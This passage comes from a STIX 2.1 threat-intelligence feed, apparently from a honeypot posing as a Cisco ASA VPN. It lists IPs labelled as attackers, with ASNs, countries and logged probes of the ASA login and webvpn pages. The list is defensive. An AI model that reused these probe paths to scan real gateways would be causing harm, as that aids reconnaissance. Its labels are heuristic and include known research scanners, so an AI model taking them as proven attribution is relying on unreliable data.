      "id": "indicator--ed91111f-657c-4e53-919b-c92ffc169aa6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.103.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T05:20:30.000Z",
      "valid_until": "2026-05-21T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-19T05:07:14.024Z",
          "last_seen": "2026-04-28T02:29:55.193Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-19T06:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--f4441854-9fe4-45fd-8bfd-8b5d7ed7b590",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.90.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T06:20:10.000Z",
      "valid_until": "2026-05-21T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 18,
          "first_seen": "2026-04-11T03:27:41.409Z",
          "last_seen": "2026-04-29T20:24:55.404Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-19T06:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: GB; ASN 201002 (PebbleHost Ltd)",
      "id": "indicator--39bb51e8-9c01-49cb-a2bf-52c608a6f5f5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '85.11.183.23']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T06:20:10.000Z",
      "valid_until": "2026-05-21T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 3,
          "first_seen": "2026-04-19T06:05:23.484Z",
          "last_seen": "2026-04-29T03:27:28.416Z",
          "country": "United Kingdom",
          "country_code": "GB",
          "asn": 201002,
          "as_org": "PebbleHost Ltd",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-19T07:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--f7baa043-07e9-41d0-b4f7-1fdd5800a952",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '146.70.166.201']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T07:20:10.000Z",
      "valid_until": "2026-05-21T07:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-15T10:14:48.209Z",
          "last_seen": "2026-04-26T01:03:21.938Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-19T07:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 136557 (Host Universal Pty Ltd)",
      "id": "indicator--796729ee-78ea-493d-aaa3-f08e2e205a35",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '155.2.191.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T07:20:10.000Z",
      "valid_until": "2026-05-21T07:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 27,
          "first_seen": "2026-04-15T11:33:07.344Z",
          "last_seen": "2026-04-28T01:59:42.431Z",
          "country": "United States",
          "country_code": "US",
          "asn": 136557,
          "as_org": "Host Universal Pty Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-19T09:20:24.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--92ca30b4-0ecc-48a9-84e3-6d4506a4f888",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.100.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T09:20:24.000Z",
      "valid_until": "2026-05-21T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 18,
          "first_seen": "2026-04-19T08:52:01.718Z",
          "last_seen": "2026-04-24T10:28:18.642Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-19T10:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 6233 (xTom)",
      "id": "indicator--d7b86c5a-8f99-4db1-aeb8-79831e720161",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '142.147.89.228']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T10:20:10.000Z",
      "valid_until": "2026-05-21T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-19T08:17:36.950Z",
          "last_seen": "2026-04-19T10:11:53.514Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6233,
          "as_org": "xTom",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-19T11:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--92f34ad1-25e3-49e5-a00c-95944067390a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '173.249.254.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T11:20:11.000Z",
      "valid_until": "2026-05-21T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-19T10:27:55.335Z",
          "last_seen": "2026-04-29T21:45:23.548Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-19T12:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 - geo: US; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--fd64300d-8c7f-4014-b084-27140dec0255",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.122']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T12:20:10.000Z",
      "valid_until": "2026-05-21T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-19T11:52:13.410Z",
          "last_seen": "2026-04-19T11:52:13.410Z",
          "country": "United States",
          "country_code": "US",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-19T12:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--a870a7dc-b73c-4f66-ac00-407726c89117",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.144']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T12:20:10.000Z",
      "valid_until": "2026-05-21T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-19T11:54:14.260Z",
          "last_seen": "2026-04-19T11:54:14.260Z",
          "country": "United States",
          "country_code": "US",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-19T12:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--5569d4da-460b-4cad-b398-6943df826240",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T12:20:10.000Z",
      "valid_until": "2026-05-21T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-19T11:48:14.917Z",
          "last_seen": "2026-04-19T11:48:14.917Z",
          "country": "United States",
          "country_code": "US",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-19T12:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--9e6677d0-be36-4e8e-9389-932fae7b5832",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.252']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T12:20:10.000Z",
      "valid_until": "2026-05-21T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-19T11:52:11.767Z",
          "last_seen": "2026-04-19T11:52:11.767Z",
          "country": "United States",
          "country_code": "US",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-19T12:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--5d0000fb-8808-4cfa-86ab-4396d2fb5395",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.89']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T12:20:10.000Z",
      "valid_until": "2026-05-21T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-19T11:50:11.224Z",
          "last_seen": "2026-04-19T11:50:11.224Z",
          "country": "United States",
          "country_code": "US",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-19T12:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--ed6e677d-ed19-44a0-aa0b-6ba545b6cc81",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.94']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T12:20:10.000Z",
      "valid_until": "2026-05-21T12:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-19T11:50:13.554Z",
          "last_seen": "2026-04-19T11:50:13.554Z",
          "country": "United States",
          "country_code": "US",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-19T13:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 8075 (Microsoft Corporation)",
      "id": "indicator--40010417-2bd7-4c2f-8a8c-f722e1c9d3d2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '74.249.177.110']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T13:20:11.000Z",
      "valid_until": "2026-05-21T13:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-19T12:28:19.404Z",
          "last_seen": "2026-04-19T12:28:22.409Z",
          "country": "United States",
          "country_code": "US",
          "asn": 8075,
          "as_org": "Microsoft Corporation",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-19T15:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /.well-known/security.txt HTTP/1.1\" 404 - geo: US; ASN 396982 (Google LLC)",
      "id": "indicator--9fbc50eb-7251-4d53-9f4f-10ae2f324d6a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T15:20:10.000Z",
      "valid_until": "2026-05-21T15:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-19T14:25:41.800Z",
          "last_seen": "2026-04-19T14:25:41.800Z",
          "country": "United States",
          "country_code": "US",
          "asn": 396982,
          "as_org": "Google LLC",
          "event_types": [
            "\"GET /.well-known/security.txt HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-19T16:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 398324 (Censys, Inc.)",
      "id": "indicator--21950104-d0e0-49b5-be6e-65cd710f3f2a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.51']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T16:20:12.000Z",
      "valid_until": "2026-05-21T16:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-19T15:47:23.945Z",
          "last_seen": "2026-04-19T15:48:01.042Z",
          "country": "United States",
          "country_code": "US",
          "asn": 398324,
          "as_org": "Censys, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /version HTTP/1.1\" 404 -",
            "\"PRI * HTTP/2.0\" 505 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "code 505"
          ]
        }
      }
    },
    {
      "created": "2026-04-19T18:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 396982 (Google LLC)",
      "id": "indicator--f8a3ae2b-73d3-4bb6-a9ee-74188536f9b5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.36']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T18:20:10.000Z",
      "valid_until": "2026-05-21T18:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-19T18:16:14.901Z",
          "last_seen": "2026-04-19T18:16:17.904Z",
          "country": "United States",
          "country_code": "US",
          "asn": 396982,
          "as_org": "Google LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-19T19:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: HK; ASN 135377 (UCLOUD INFORMATION TECHNOLOGY HK LIMITED)",
      "id": "indicator--352f5355-7b0b-4a0f-a991-4c2ae99096d1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '118.193.36.56']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T19:20:11.000Z",
      "valid_until": "2026-05-21T19:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 16,
          "first_seen": "2026-04-19T19:09:02.579Z",
          "last_seen": "2026-04-19T19:09:45.700Z",
          "country": "Hong Kong",
          "country_code": "HK",
          "asn": 135377,
          "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/blank.html HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"GET /config.json HTTP/1.1\" 404 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /robots.txt HTTP/1.1\" 404 -",
            "\"GET /sitemap.xml HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-19T19:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 49870 (Alsycon B.V.)",
      "id": "indicator--f465b2cd-8f22-46f2-869a-ff125a4cc6c8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '77.83.240.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T19:20:11.000Z",
      "valid_until": "2026-05-21T19:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 3,
          "first_seen": "2026-04-19T19:12:01.939Z",
          "last_seen": "2026-04-19T19:17:40.155Z",
          "country": "United States",
          "country_code": "US",
          "asn": 49870,
          "as_org": "Alsycon B.V.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET //admin/config.php HTTP/1.1\" 404 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-20T00:20:14.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14061 (DigitalOcean, LLC)",
      "id": "indicator--6ff34712-e924-4c4d-8965-151e459384ef",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '143.244.176.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T00:20:14.000Z",
      "valid_until": "2026-05-22T00:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-20T00:05:56.800Z",
          "last_seen": "2026-04-20T00:05:59.801Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14061,
          "as_org": "DigitalOcean, LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-20T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /robots.txt HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--cb0aa2bc-f005-4780-9349-06c8c2e07684",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
